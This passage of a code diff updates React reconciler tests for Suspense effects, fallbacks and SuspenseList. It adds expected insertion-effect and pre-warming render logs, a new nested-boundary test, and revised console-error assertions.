         await resolveText('InnerAsync_1');
       });
-      assertLog(['Text:Outer render', 'Suspend:OuterAsync_1']);
+      assertLog([
+        'Text:Outer render',
+        'Suspend:OuterAsync_1',
+        // pre-warming
+        'Text:Outer render',
+        'Suspend:OuterAsync_1',
+        'Text:Inner render',
+        'AsyncText:InnerAsync_1 render',
+      ]);
       expect(ReactNoop).toMatchRenderedOutput(
         <>
           <span prop="Outer" hidden={true} />
@@ -1174,6 +1269,12 @@ describe('ReactSuspenseEffectsSemantics', () => {
         'Text:Outer render',
         'Suspend:OuterAsync_1',
         'Text:OuterFallback render',
+        // pre-warming
+        'Text:Outer render',
+        'Suspend:OuterAsync_1',
+        'Text:Inner render',
+        'Suspend:InnerAsync_2',
+        'Text:InnerFallback render',
       ]);
       expect(ReactNoop).toMatchRenderedOutput(
         <>
@@ -1194,12 +1295,16 @@ describe('ReactSuspenseEffectsSemantics', () => {
         'Text:Inner render',
         'Suspend:InnerAsync_2',
         'Text:InnerFallback render',
+        'Text:OuterFallback destroy insertion',
         'Text:OuterFallback destroy layout',
         'Text:Outer create layout',
         'AsyncText:OuterAsync_1 create layout',
         'Text:InnerFallback create layout',
         'Text:OuterFallback destroy passive',
         'AsyncText:OuterAsync_1 create passive',
+        // pre-warming
+        'Text:Inner render',
+        'Suspend:InnerAsync_2',
       ]);
       expect(ReactNoop).toMatchRenderedOutput(
         <>
@@ -1217,6 +1322,7 @@ describe('ReactSuspenseEffectsSemantics', () => {
       assertLog([
         'Text:Inner render',
         'AsyncText:InnerAsync_2 render',
+        'Text:InnerFallback destroy insertion',
         'Text:InnerFallback destroy layout',
         'Text:Inner create layout',
         'AsyncText:InnerAsync_2 create layout',
@@ -1249,8 +1355,14 @@ describe('ReactSuspenseEffectsSemantics', () => {
         'AsyncText:OuterAsync_1 destroy layout',
         'Text:Inner destroy layout',
         'AsyncText:InnerAsync_2 destroy layout',
+        'Text:OuterFallback create insertion',
         'Text:OuterFallback create layout',
         'Text:OuterFallback create passive',
+        // pre-warming
+        'Text:Outer render',
+        'Suspend:OuterAsync_2',
+        'Text:Inner render',
+        'AsyncText:InnerAsync_2 render',
       ]);
       expect(ReactNoop).toMatchRenderedOutput(
         <>
@@ -1271,6 +1383,7 @@ describe('ReactSuspenseEffectsSemantics', () => {
         'AsyncText:OuterAsync_2 render',
         'Text:Inner render',
         'AsyncText:InnerAsync_2 render',
+        'Text:OuterFallback destroy insertion',
         'Text:OuterFallback destroy layout',
         'Text:Outer create layout',
         'AsyncText:OuterAsync_2 create layout',
@@ -1288,6 +1401,105 @@ describe('ReactSuspenseEffectsSemantics', () => {
       );
     });
 
+    // @gate enableLegacyCache
+    it('should wait to reveal an inner child when inner one reveals first', async () => {
+      function App({outerChildren, innerChildren}) {
+        return (
+          <Suspense fallback={<Text text="OuterFallback" />} name="Outer">
+            <Suspense fallback={<Text text="InnerFallback" />} name="Inner">
+              <div>{innerChildren}</div>
+            </Suspense>
+            {outerChildren}
+          </Suspense>
+        );
+      }
+
+      // Mount
+      await act(() => {
+        ReactNoop.render(<App />);
+      });
+      assertLog([]);
+      expect(ReactNoop).toMatchRenderedOutput(<div />);
+
+      // Resuspend inner boundary
+      await act(() => {
+        ReactNoop.render(
+          <App
+            outerChildren={null}
+            innerChildren={<AsyncText text="InnerAsync" />}
+          />,
+        );
+      });
+      assertLog([
+        'Suspend:InnerAsync',
+        'Text:InnerFallback render',
+        'Text:InnerFallback create insertion',
+        'Text:InnerFallback create layout',
+        'Text:InnerFallback create passive',
+        'Suspend:InnerAsync',
+      ]);
+      expect(ReactNoop).toMatchRenderedOutput(
+        <>
+          <div hidden={true} />
+          <span prop="InnerFallback" />
+        </>,
+      );
+
+      // Resuspend both boundaries
+      await act(() => {
+        ReactNoop.render(
+          <App
+            outerChildren={<AsyncText text="OuterAsync" />}
+            innerChildren={<AsyncText text="InnerAsync" />}
+          />,
+        );
+      });
+      assertLog([
+        'Suspend:InnerAsync',
+        'Text:InnerFallback render',
+        'Suspend:OuterAsync',
+        'Text:OuterFallback render',
+        'Text:InnerFallback destroy layout',
+        'Text:OuterFallback create insertion',
+        'Text:OuterFallback create layout',
+        'Text:OuterFallback create passive',
+        'Suspend:InnerAsync',
+        'Text:InnerFallback render',
+        'Suspend:OuterAsync',
+      ]);
+      expect(ReactNoop).toMatchRenderedOutput(
+        <>
+          <div hidden={true} />
+          <span prop="InnerFallback" hidden={true} />
+          <span prop="OuterFallback" />
+        </>,
+      );
+
+      // Unsuspend the inner Suspense subtree only
+      // Interestingly, this never commits because the tree is left suspended.
+      // If it did commit, it would potentially cause the div to incorrectly reappear.
+      await act(() => {
+        ReactNoop.render(
+          <App
+            outerChildren={<AsyncText text="OuterAsync" />}
+            innerChildren={null}
+          />,
+        );
+      });
+      assertLog([
+        'Suspend:OuterAsync',
+        'Text:OuterFallback render',
+        'Suspend:OuterAsync',
+      ]);
+      expect(ReactNoop).toMatchRenderedOutput(
+        <>
+          <div hidden={true} />
+          <span prop="InnerFallback" hidden={true} />
+          <span prop="OuterFallback" />
+        </>,
+      );
+    });
+
     // @gate enableLegacyCache
     it('should show nested host nodes if multiple boundaries resolve at the same time', async () => {
       function App({innerChildren = null, outerChildren = null}) {
@@ -1310,6 +1522,8 @@ describe('ReactSuspenseEffectsSemantics', () => {
       assertLog([
         'Text:Outer render',
         'Text:Inner render',
+        'Text:Outer create insertion',
+        'Text:Inner create insertion',
         'Text:Outer create layout',
         'Text:Inner create layout',
         'Text:Outer create passive',
@@ -1334,8 +1548,12 @@ describe('ReactSuspenseEffectsSemantics', () => {
         'Suspend:InnerAsync_1',
         'Text:InnerFallback render',
         'Text:Inner destroy layout',
+        'Text:InnerFallback create insertion',
         'Text:InnerFallback create layout',
         'Text:InnerFallback create passive',
+        // pre-warming
+        'Text:Inner render',
+        'Suspend:InnerAsync_1',
       ]);
       expect(ReactNoop).toMatchRenderedOutput(
         <>
@@ -1361,8 +1579,15 @@ describe('ReactSuspenseEffectsSemantics', () => {
         'Text:OuterFallback render',
         'Text:Outer destroy layout',
         'Text:InnerFallback destroy layout',
+        'Text:OuterFallback create insertion',
         'Text:OuterFallback create layout',
         'Text:OuterFallback create passive',
+        // pre-warming
+        'Text:Outer render',
+        'Suspend:OuterAsync_1',
+        'Text:Inner render',
+        'Suspend:InnerAsync_1',
+        'Text:InnerFallback render',
       ]);
       expect(ReactNoop).toMatchRenderedOutput(
         <>
@@ -1383,7 +1608,9 @@ describe('ReactSuspenseEffectsSemantics', () => {
         'AsyncText:OuterAsync_1 render',
         'Text:Inner render',
         'AsyncText:InnerAsync_1 render',
+        'Text:OuterFallback destroy insertion',
         'Text:OuterFallback destroy layout',
+        'Text:InnerFallback destroy insertion',
         'Text:Outer create layout',
         'AsyncText:OuterAsync_1 create layout',
         'Text:Inner create layout',
@@ -1433,6 +1660,8 @@ describe('ReactSuspenseEffectsSemantics', () => {
       assertLog([
         'Text:Inside render',
         'Text:Outside render',
+        'Text:Inside create insertion',
+        'Text:Outside create insertion',
         'Text:Inside create layout',
         'Text:Outside create layout',
         'Text:Inside create passive',
@@ -1457,12 +1686,17 @@ describe('ReactSuspenseEffectsSemantics', () => {
           'Text:Fallback:Outside render',
           'Text:Outside render',
           'Text:Inside destroy layout',
+          'Text:Fallback:Inside create insertion',
+          'Text:Fallback:Outside create insertion',
           'Text:Fallback:Inside create layout',
           'Text:Fallback:Outside create layout',
         ]);
         await waitForAll([
           'Text:Fallback:Inside create passive',
           'Text:Fallback:Outside create passive',
+          // pre-warming
+          'Text:Inside render',
+          'Suspend:OutsideAsync',
         ]);
         expect(ReactNoop).toMatchRenderedOutput(
           <>
@@ -1491,9 +1725,17 @@ describe('ReactSuspenseEffectsSemantics', () => {
           'Text:Fallback:Outside render',
           'Text:Outside render',
           'Text:Fallback:Inside destroy layout',
+          'Text:Fallback:Fallback create insertion',
           'Text:Fallback:Fallback create layout',
         ]);
-        await waitForAll(['Text:Fallback:Fallback create passive']);
+        await waitForAll([
+          'Text:Fallback:Fallback create passive',
+          // pre-warming
+          'Text:Inside render',
+          'Suspend:OutsideAsync',
+          'Text:Fallback:Inside render',
+          'Suspend:FallbackAsync',
+        ]);
         expect(ReactNoop).toMatchRenderedOutput(
           <>
             <span prop="Inside" hidden={true} />
@@ -1513,7 +1755,10 @@ describe('ReactSuspenseEffectsSemantics', () => {
       assertLog([
         'Text:Inside render',
         'AsyncText:OutsideAsync render',
+        'Text:Fallback:Inside destroy insertion',
+        'Text:Fallback:Fallback destroy insertion',
         'Text:Fallback:Fallback destroy layout',
+        'Text:Fallback:Outside destroy insertion',
         'Text:Fallback:Outside destroy layout',
         'Text:Inside create layout',
         'AsyncText:OutsideAsync create layout',
@@ -1561,6 +1806,8 @@ describe('ReactSuspenseEffectsSemantics', () => {
       assertLog([
         'Text:Inside render',
         'Text:Outside render',
+        'Text:Inside create insertion',
+        'Text:Outside create insertion',
         'Text:Inside create layout',
         'Text:Outside create layout',
         'Text:Inside create passive',
@@ -1591,10 +1838,17 @@ describe('ReactSuspenseEffectsSemantics', () => {
         'Text:Fallback:Outside render',
         'Text:Outside render',
         'Text:Inside destroy layout',
+        'Text:Fallback:Fallback create insertion',
+        'Text:Fallback:Outside create insertion',
         'Text:Fallback:Fallback create layout',
         'Text:Fallback:Outside create layout',
         'Text:Fallback:Fallback create passive',
         'Text:Fallback:Outside create passive',
+        // pre-warming
+        'Text:Inside render',
+        'Suspend:OutsideAsync',
+        'Text:Fallback:Inside render',
+        'Suspend:FallbackAsync',
       ]);
       expect(ReactNoop).toMatchRenderedOutput(
         <>
@@ -1612,7 +1866,9 @@ describe('ReactSuspenseEffectsSemantics', () => {
       assertLog([
         'Text:Fallback:Inside render',
         'AsyncText:FallbackAsync render',
+        'Text:Fallback:Fallback destroy insertion',
         'Text:Fallback:Fallback destroy layout',
+        'Text:Fallback:Inside create insertion',
         'Text:Fallback:Inside create layout',
         'AsyncText:FallbackAsync create layout',
         'Text:Fallback:Fallback destroy passive',
@@ -1636,8 +1892,10 @@ describe('ReactSuspenseEffectsSemantics', () => {
       assertLog([
         'Text:Inside render',
         'AsyncText:OutsideAsync render',
+        'Text:Fallback:Inside destroy insertion',
         'Text:Fallback:Inside destroy layout',
         'AsyncText:FallbackAsync destroy layout',
+        'Text:Fallback:Outside destroy insertion',
         'Text:Fallback:Outside destroy layout',
         'Text:Inside create layout',
         'AsyncText:OutsideAsync create layout',
@@ -1682,6 +1940,8 @@ describe('ReactSuspenseEffectsSemantics', () => {
       assertLog([
         'Text:Inside render',
         'Text:Outside render',
+        'Text:Inside create insertion',
+        'Text:Outside create insertion',
         'Text:Inside create layout',
         'Text:Outside create layout',
         'Text:Inside create passive',
@@ -1703,9 +1963,14 @@ describe('ReactSuspenseEffectsSemantics', () => {
           'Text:Fallback render',
           'Text:Outside render',
           'Text:Inside destroy layout',
+          'Text:Fallback create insertion',
           'Text:Fallback create layout',
         ]);
-        await waitForAll(['Text:Fallback create passive']);
+        await waitForAll([
+          'Text:Fallback create passive',
+          // pre-warming
+          'Suspend:Suspend',
+        ]);
         expect(ReactNoop).toMatchRenderedOutput(
           <>
             <span prop="Inside" hidden={true} />
@@ -1721,6 +1986,7 @@ describe('ReactSuspenseEffectsSemantics', () => {
       });
       assertLog([
         'Text:Inside render',
+        'Text:Fallback destroy insertion',
         'Text:Fallback destroy layout',
         'Text:Inside create layout',
         'Text:Fallback destroy passive',
@@ -1787,6 +2053,8 @@ describe('ReactSuspenseEffectsSemantics', () => {
           'ThrowsInDidMount render',
           'Text:Inside render',
           'Text:Outside render',
+          'Text:Inside create insertion',
+          'Text:Outside create insertion',
           'ThrowsInDidMount componentDidMount',
           'Text:Inside create layout',
           'Text:Outside create layout',
@@ -1820,8 +2088,13 @@ describe('ReactSuspenseEffectsSemantics', () => {
           'Text:Outside render',
           'ThrowsInDidMount componentWillUnmount',
           'Text:Inside destroy layout',
+          'Text:Fallback create insertion',
           'Text:Fallback create layout',
           'Text:Fallback create passive',
+          // pre-warming
+          'Suspend:Async',
+          'ThrowsInDidMount render',
+          'Text:Inside render',
         ]);
         expect(ReactNoop).toMatchRenderedOutput(
           <>
@@ -1841,6 +2114,7 @@ describe('ReactSuspenseEffectsSemantics', () => {
           'AsyncText:Async render',
           'ThrowsInDidMount render',
           'Text:Inside render',
+          'Text:Fallback destroy insertion',
           'Text:Fallback destroy layout',
           'AsyncText:Async create layout',
 
@@ -1853,11 +2127,13 @@ describe('ReactSuspenseEffectsSemantics', () => {
           'Text:Fallback destroy passive',
           'AsyncText:Async create passive',
 
-          // Destroy layout and passive effects in the errored tree.
+          // Destroy insertion, layout, and passive effects in the errored tree.
           'App destroy layout',
           'AsyncText:Async destroy layout',
           'ThrowsInDidMount componentWillUnmount',
+          'Text:Inside destroy insertion',
           'Text:Inside destroy layout',
+          'Text:Outside destroy insertion',
           'Text:Outside destroy layout',
           'AsyncText:Async destroy passive',
           'Text:Inside destroy passive',
@@ -1866,6 +2142,7 @@ describe('ReactSuspenseEffectsSemantics', () => {
           // Render fallback
           'ErrorBoundary render: catch',
           'Text:Error render',
+          'Text:Error create insertion',
           'Text:Error create layout',
           'Text:Error create passive',
         ]);
@@ -1921,6 +2198,8 @@ describe('ReactSuspenseEffectsSemantics', () => {
           'ThrowsInWillUnmount render',
           'Text:Inside render',
           'Text:Outside render',
+          'Text:Inside create insertion',
+          'Text:Outside create insertion',
           'ThrowsInWillUnmount componentDidMount',
           'Text:Inside create layout',
           'Text:Outside create layout',
@@ -1959,12 +2238,16 @@ describe('ReactSuspenseEffectsSemantics', () => {
           'Text:Inside destroy layout',
 
           // Finish the in-progress commit
+          'Text:Fallback create insertion',
           'Text:Fallback create layout',
           'Text:Fallback create passive',
 
           // Destroy layout and passive effects in the errored tree.
           'App destroy layout',
+          'Text:Inside destroy insertion',
+          'Text:Fallback destroy insertion',
           'Text:Fallback destroy layout',
+          'Text:Outside destroy insertion',
           'Text:Outside destroy layout',
           'Text:Inside destroy passive',
           'Text:Fallback destroy passive',
@@ -1973,6 +2256,7 @@ describe('ReactSuspenseEffectsSemantics', () => {
           // Render fallback
           'ErrorBoundary render: catch',
           'Text:Error render',
+          'Text:Error create insertion',
           'Text:Error create layout',
           'Text:Error create passive',
         ]);
@@ -2030,6 +2314,8 @@ describe('ReactSuspenseEffectsSemantics', () => {
           'ThrowsInLayoutEffect render',
           'Text:Inside render',
           'Text:Outside render',
+          'Text:Inside create insertion',
+          'Text:Outside create insertion',
           'ThrowsInLayoutEffect useLayoutEffect create',
           'Text:Inside create layout',
           'Text:Outside create layout',
@@ -2063,8 +2349,13 @@ describe('ReactSuspenseEffectsSemantics', () => {
           'Text:Outside render',
           'ThrowsInLayoutEffect useLayoutEffect destroy',
           'Text:Inside destroy layout',
+          'Text:Fallback create insertion',
           'Text:Fallback create layout',
           'Text:Fallback create passive',
+          // pre-warming
+          'Suspend:Async',
+          'ThrowsInLayoutEffect render',
+          'Text:Inside render',
         ]);
         expect(ReactNoop).toMatchRenderedOutput(
           <>
@@ -2085,6 +2376,7 @@ describe('ReactSuspenseEffectsSemantics', () => {
           'ThrowsInLayoutEffect render',
           'Text:Inside render',
 
+          'Text:Fallback destroy insertion',
           'Text:Fallback destroy layout',
 
           // Even though an error was thrown in useLayoutEffect,
@@ -2100,7 +2392,9 @@ describe('ReactSuspenseEffectsSemantics', () => {
           // Destroy layout and passive effects in the errored tree.
           'App destroy layout',
           'AsyncText:Async destroy layout',
+          'Text:Inside destroy insertion',
           'Text:Inside destroy layout',
+          'Text:Outside destroy insertion',
           'Text:Outside destroy layout',
           'AsyncText:Async destroy passive',
           'Text:Inside destroy passive',
@@ -2109,6 +2403,7 @@ describe('ReactSuspenseEffectsSemantics', () => {
           // Render fallback
           'ErrorBoundary render: catch',
           'Text:Error render',
+          'Text:Error create insertion',
           'Text:Error create layout',
           'Text:Error create passive',
         ]);
@@ -2164,6 +2459,8 @@ describe('ReactSuspenseEffectsSemantics', () => {
           'ThrowsInLayoutEffectDestroy render',
           'Text:Inside render',
           'Text:Outside render',
+          'Text:Inside create insertion',
+          'Text:Outside create insertion',
           'ThrowsInLayoutEffectDestroy useLayoutEffect create',
           'Text:Inside create layout',
           'Text:Outside create layout',
@@ -2202,12 +2499,16 @@ describe('ReactSuspenseEffectsSemantics', () => {
           'Text:Inside destroy layout',
 
           // Finish the in-progress commit
+          'Text:Fallback create insertion',
           'Text:Fallback create layout',
           'Text:Fallback create passive',
 
           // Destroy layout and passive effects in the errored tree.
           'App destroy layout',
+          'Text:Inside destroy insertion',
+          'Text:Fallback destroy insertion',
           'Text:Fallback destroy layout',
+          'Text:Outside destroy insertion',
           'Text:Outside destroy layout',
           'Text:Inside destroy passive',
           'Text:Fallback destroy passive',
@@ -2216,6 +2517,7 @@ describe('ReactSuspenseEffectsSemantics', () => {
           // Render fallback
           'ErrorBoundary render: catch',
           'Text:Error render',
+          'Text:Error create insertion',
           'Text:Error create layout',
           'Text:Error create passive',
         ]);
@@ -2261,6 +2563,7 @@ describe('ReactSuspenseEffectsSemantics', () => {
       assertLog([
         'Text:Function render',
         'ClassText:Class render',
+        'Text:Function create insertion',
         'Text:Function create layout',
         'ClassText:Class componentDidMount',
         'Text:Function create passive',
@@ -2297,6 +2600,14 @@ describe('ReactSuspenseEffectsSemantics', () => {
         );
       });
 
+      // pre-warming
+      assertLog([
+        'Text:Function render',
+        'Suspend:Async_1',
+        'Suspend:Async_2',
+        'ClassText:Class render',
+      ]);
+
       // Resolving the suspended resource should re-create inner layout effects.
       await act(async () => {
         await resolveText('Async_1');
@@ -2305,6 +2616,11 @@ describe('ReactSuspenseEffectsSemantics', () => {
         'Text:Function render',
         'AsyncText:Async_1 render',
         'Suspend:Async_2',
+        // pre-warming
+        'Text:Function render',
+        'AsyncText:Async_1 render',
+        'Suspend:Async_2',
+        'ClassText:Class render',
       ]);
       expect(ReactNoop).toMatchRenderedOutput(
         <>
@@ -2344,6 +2660,7 @@ describe('ReactSuspenseEffectsSemantics', () => {
         ReactNoop.render(null);
       });
       assertLog([
+        'Text:Function destroy insertion',
         'Text:Function destroy layout',
         'AsyncText:Async_1 destroy layout',
         'AsyncText:Async_2 destroy layout',
@@ -2403,6 +2720,7 @@ describe('ReactSuspenseEffectsSemantics', () => {
         'Text:Function render',
         'Suspender "null" render',
         'ClassText:Class render',
+        'Text:Function create insertion',
         'Text:Function create layout',
         'ClassText:Class componentDidMount',
         'Text:Function create passive',
@@ -2438,12 +2756,29 @@ describe('ReactSuspenseEffectsSemantics', () => {
         );
       });
 
+      // pre-warming
+      assertLog([
+        'Text:Function render',
+        'Suspender "A" render',
+        'Suspend:A',
+        'ClassText:Class render',
+      ]);
+
       // Resolving the suspended resource should re-create inner layout effects.
       textToRead = 'B';
       await act(async () => {
         await resolveText('A');
       });
-      assertLog(['Text:Function render', 'Suspender "B" render', 'Suspend:B']);
+      assertLog([
+        'Text:Function render',
+        'Suspender "B" render',
+        'Suspend:B',
+        // pre-warming
+        'Text:Function render',
+        'Suspender "B" render',
+        'Suspend:B',
+        'ClassText:Class render',
+      ]);
       expect(ReactNoop).toMatchRenderedOutput(
         <>
           <span prop="Function" hidden={true} />
@@ -2477,6 +2812,7 @@ describe('ReactSuspenseEffectsSemantics', () => {
         ReactNoop.render(null);
       });
       assertLog([
+        'Text:Function destroy insertion',
         'Text:Function destroy layout',
         'ClassText:Class componentWillUnmount',
         'Text:Function destroy passive',
@@ -2594,6 +2930,7 @@ describe('ReactSuspenseEffectsSemantics', () => {
         'ClassComponent:refCallback render',
         'RefCheckerInner:refCallback render',
         'Text:Fallback render',
+        'Text:Fallback create insertion',
         'Text:Fallback create layout',
         'Text:Fallback create passive',
       ]);
@@ -2605,6 +2942,7 @@ describe('ReactSuspenseEffectsSemantics', () => {
       });
       assertLog([
         'AsyncText:Async render',
+        'Text:Fallback destroy insertion',
         'Text:Fallback destroy layout',
         'AsyncText:Async create layout',
         'Text:Fallback destroy passive',
@@ -2672,8 +3010,14 @@ describe('ReactSuspenseEffectsSemantics', () => {
         'RefCheckerInner:refObject destroy layout ref? false',
         'RefCheckerOuter refCallback value? false',
         'RefCheckerInner:refCallback destroy layout ref? false',
+        'Text:Fallback create insertion',
         'Text:Fallback create layout',
         'Text:Fallback create passive',
+        // pre-warming
+        'Suspend:Async',
+        'RefCheckerOuter render',
+        'RefCheckerInner:refObject render',
+        'RefCheckerInner:refCallback render',
       ]);
       expect(ReactNoop).toMatchRenderedOutput(
         <>
@@ -2692,6 +3036,7 @@ describe('ReactSuspenseEffectsSemantics', () => {
         'RefCheckerOuter render',
         'RefCheckerInner:refObject render',
         'RefCheckerInner:refCallback render',
+        'Text:Fallback destroy insertion',
         'Text:Fallback destroy layout',
         'AsyncText:Async create layout',
         'RefCheckerInner:refObject create layout ref? false',
@@ -2773,8 +3118,16 @@ describe('ReactSuspenseEffectsSemantics', () => {
         'RefCheckerInner:refObject destroy layout ref? false',
         'RefCheckerOuter refCallback value? false',
         'RefCheckerInner:refCallback destroy layout ref? false',
+        'Text:Fallback create insertion',
         'Text:Fallback create layout',
         'Text:Fallback create passive',
+        // pre-warming
+        'Suspend:Async',
+        'RefCheckerOuter render',
+        'ClassComponent:refObject render',
+        'RefCheckerInner:refObject render',
+        'ClassComponent:refCallback render',
+        'RefCheckerInner:refCallback render',
       ]);
       expect(ReactNoop).toMatchRenderedOutput(<span prop="Fallback" />);
 
@@ -2789,6 +3142,7 @@ describe('ReactSuspenseEffectsSemantics', () => {
         'RefCheckerInner:refObject render',
         'ClassComponent:refCallback render',
         'RefCheckerInner:refCallback render',
+        'Text:Fallback destroy insertion',
         'Text:Fallback destroy layout',
         'AsyncText:Async create layout',
         'RefCheckerInner:refObject create layout ref? false',
@@ -2870,8 +3224,16 @@ describe('ReactSuspenseEffectsSemantics', () => {
         'RefCheckerInner:refObject destroy layout ref? false',
         'RefCheckerOuter refCallback value? false',
         'RefCheckerInner:refCallback destroy layout ref? false',
+        'Text:Fallback create insertion',
         'Text:Fallback create layout',
         'Text:Fallback create passive',
+        // pre-warming
+        'Suspend:Async',
+        'RefCheckerOuter render',
+        'FunctionComponent render',
+        'RefCheckerInner:refObject render',
+        'FunctionComponent render',
+        'RefCheckerInner:refCallback render',
       ]);
       expect(ReactNoop).toMatchRenderedOutput(<span prop="Fallback" />);
 
@@ -2886,6 +3248,7 @@ describe('ReactSuspenseEffectsSemantics', () => {
         'RefCheckerInner:refObject render',
         'FunctionComponent render',
         'RefCheckerInner:refCallback render',
+        'Text:Fallback destroy insertion',
         'Text:Fallback destroy layout',
         'AsyncText:Async create layout',
         'RefCheckerInner:refObject create layout ref? false',
@@ -2969,8 +3332,12 @@ describe('ReactSuspenseEffectsSemantics', () => {
         'Suspend:Async',
         'Text:Fallback render',
         'RefChecker destroy layout ref? true',
+        'Text:Fallback create insertion',
         'Text:Fallback create layout',
         'Text:Fallback create passive',
+        // pre-warming
+        'Suspend:Async',
+        'RefChecker render',
       ]);
       expect(ReactNoop).toMatchRenderedOutput(<span prop="Fallback" />);
 
@@ -2981,6 +3348,7 @@ describe('ReactSuspenseEffectsSemantics', () => {
       assertLog([
         'AsyncText:Async render',
         'RefChecker render',
+        'Text:Fallback destroy insertion',
         'Text:Fallback destroy layout',
         'AsyncText:Async create layout',
         'RefChecker create layout ref? true',
@@ -3050,6 +3418,8 @@ describe('ReactSuspenseEffectsSemantics', () => {
           'ThrowsInRefCallback render',
           'Text:Inside render',
           'Text:Outside render',
+          'Text:Inside create insertion',
+          'Text:Outside create insertion',
           'ThrowsInRefCallback refCallback ref? true',
           'Text:Inside create layout',
           'Text:Outside create layout',
@@ -3083,8 +3453,13 @@ describe('ReactSuspenseEffectsSemantics', () => {
           'Text:Outside render',
           'ThrowsInRefCallback refCallback ref? false',
           'Text:Inside destroy layout',
+          'Text:Fallback create insertion',
           'Text:Fallback create layout',
           'Text:Fallback create passive',
+          // pre-warming
+          'Suspend:Async',
+          'ThrowsInRefCallback render',
+          'Text:Inside render',
         ]);
         expect(ReactNoop).toMatchRenderedOutput(
           <>
@@ -3107,6 +3482,7 @@ describe('ReactSuspenseEffectsSemantics', () => {
 
           // Even though an error was thrown in refCallback,
           // subsequent layout effects should still be created.
+          'Text:Fallback destroy insertion',
           'Text:Fallback destroy layout',
           'AsyncText:Async create layout',
           'ThrowsInRefCallback refCallback ref? true',
@@ -3116,11 +3492,13 @@ describe('ReactSuspenseEffectsSemantics', () => {
           'Text:Fallback destroy passive',
           'AsyncText:Async create passive',
 
-          // Destroy layout and passive effects in the errored tree.
+          // Destroy insertion, layout, and passive effects in the errored tree.
           'App destroy layout',
           'AsyncText:Async destroy layout',
           'ThrowsInRefCallback refCallback ref? false',
+          'Text:Inside destroy insertion',
           'Text:Inside destroy layout',
+          'Text:Outside destroy insertion',
           'Text:Outside destroy layout',
           'AsyncText:Async destroy passive',
           'Text:Inside destroy passive',
@@ -3129,6 +3507,7 @@ describe('ReactSuspenseEffectsSemantics', () => {
           // Render fallback
           'ErrorBoundary render: catch',
           'Text:Error render',
+          'Text:Error create insertion',
           'Text:Error create layout',
           'Text:Error create passive',
         ]);
diff --git a/packages/react-reconciler/src/__tests__/ReactSuspenseFallback-test.js b/packages/react-reconciler/src/__tests__/ReactSuspenseFallback-test.js
index d465c959ce1d..836ed7aac826 100644
--- a/packages/react-reconciler/src/__tests__/ReactSuspenseFallback-test.js
+++ b/packages/react-reconciler/src/__tests__/ReactSuspenseFallback-test.js
@@ -139,7 +139,12 @@ describe('ReactSuspenseFallback', () => {
       </Suspense>,
     );
 
-    await waitForAll(['Suspend! [A]', 'Loading...']);
+    await waitForAll([
+      'Suspend! [A]',
+      'Loading...',
+      // pre-warming
+      'Suspend! [A]',
+    ]);
     expect(ReactNoop).toMatchRenderedOutput(<span prop="Loading..." />);
   });
 
@@ -154,6 +159,8 @@ describe('ReactSuspenseFallback', () => {
     await waitForAll([
       'Suspend! [A]',
       // null
+      // pre-warming
+      'Suspend! [A]',
     ]);
     expect(ReactNoop).toMatchRenderedOutput(null);
   });
@@ -169,6 +176,8 @@ describe('ReactSuspenseFallback', () => {
     await waitForAll([
       'Suspend! [A]',
       // null
+      // pre-warming
+      'Suspend! [A]',
     ]);
     expect(ReactNoop).toMatchRenderedOutput(null);
   });
@@ -183,7 +192,12 @@ describe('ReactSuspenseFallback', () => {
       </Suspense>,
     );
 
-    await waitForAll(['Suspend! [A]', 'Loading...']);
+    await waitForAll([
+      'Suspend! [A]',
+      'Loading...',
+      // pre-warming
+      'Suspend! [A]',
+    ]);
     expect(ReactNoop).toMatchRenderedOutput(<span prop="Loading..." />);
   });
 
@@ -200,6 +214,8 @@ describe('ReactSuspenseFallback', () => {
     await waitForAll([
       'Suspend! [A]',
       // null
+      // pre-warming
+      'Suspend! [A]',
     ]);
     expect(ReactNoop).toMatchRenderedOutput(null);
   });
@@ -217,6 +233,8 @@ describe('ReactSuspenseFallback', () => {
     await waitForAll([
       'Suspend! [A]',
       // null
+      // pre-warming
+      'Suspend! [A]',
     ]);
     expect(ReactNoop).toMatchRenderedOutput(null);
   });
diff --git a/packages/react-reconciler/src/__tests__/ReactSuspenseList-test.js b/packages/react-reconciler/src/__tests__/ReactSuspenseList-test.js
index 8ccced15b342..c7d4de1421e6 100644
--- a/packages/react-reconciler/src/__tests__/ReactSuspenseList-test.js
+++ b/packages/react-reconciler/src/__tests__/ReactSuspenseList-test.js
@@ -1,3 +1,13 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @emails react-core
+ * @jest-environment node
+ */
+
 let React;
 let ReactNoop;
 let Scheduler;
@@ -8,6 +18,7 @@ let SuspenseList;
 let waitForAll;
 let assertLog;
 let waitFor;
+let assertConsoleErrorDev;
 
 describe('ReactSuspenseList', () => {
   beforeEach(() => {
@@ -27,6 +38,7 @@ describe('ReactSuspenseList', () => {
     assertLog = InternalTestUtils.assertLog;
     waitFor = InternalTestUtils.waitFor;
     act = InternalTestUtils.act;
+    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;
   });
 
   function Text(props) {
@@ -62,13 +74,12 @@ describe('ReactSuspenseList', () => {
       );
     }
 
-    await expect(async () => {
-      await act(() => {
-        ReactNoop.render(<Foo />);
-      });
-    }).toErrorDev([
+    await act(() => {
+      ReactNoop.render(<Foo />);
+    });
+    assertConsoleErrorDev([
       '"something" is not a supported revealOrder on ' +
-        '<SuspenseList />. Did you mean "together", "forwards" or "backwards"?' +
+        '<SuspenseList />. Did you mean "independent", "together", "forwards" or "backwards"?' +
         '\n    in SuspenseList (at **)' +
         '\n    in Foo (at **)',
     ]);
@@ -84,11 +95,10 @@ describe('ReactSuspenseList', () => {
       );
     }
 
-    await expect(async () => {
-      await act(() => {
-        ReactNoop.render(<Foo />);
-      });
-    }).toErrorDev([
+    await act(() => {
+      ReactNoop.render(<Foo />);
+    });
+    assertConsoleErrorDev([
       '"TOGETHER" is not a valid value for revealOrder on ' +
         '<SuspenseList />. Use lowercase "together" instead.' +
         '\n    in SuspenseList (at **)' +
@@ -106,11 +116,10 @@ describe('ReactSuspenseList', () => {
       );
     }
 
-    await expect(async () => {
-      await act(() => {
-        ReactNoop.render(<Foo />);
-      });
-    }).toErrorDev([
+    await act(() => {
+      ReactNoop.render(<Foo />);
+    });
+    assertConsoleErrorDev([
       '"forward" is not a valid value for revealOrder on ' +
         '<SuspenseList />. React uses the -s suffix in the spelling. ' +
         'Use "forwards" instead.' +
@@ -122,7 +131,11 @@ describe('ReactSuspenseList', () => {
   // @gate enableSuspenseList
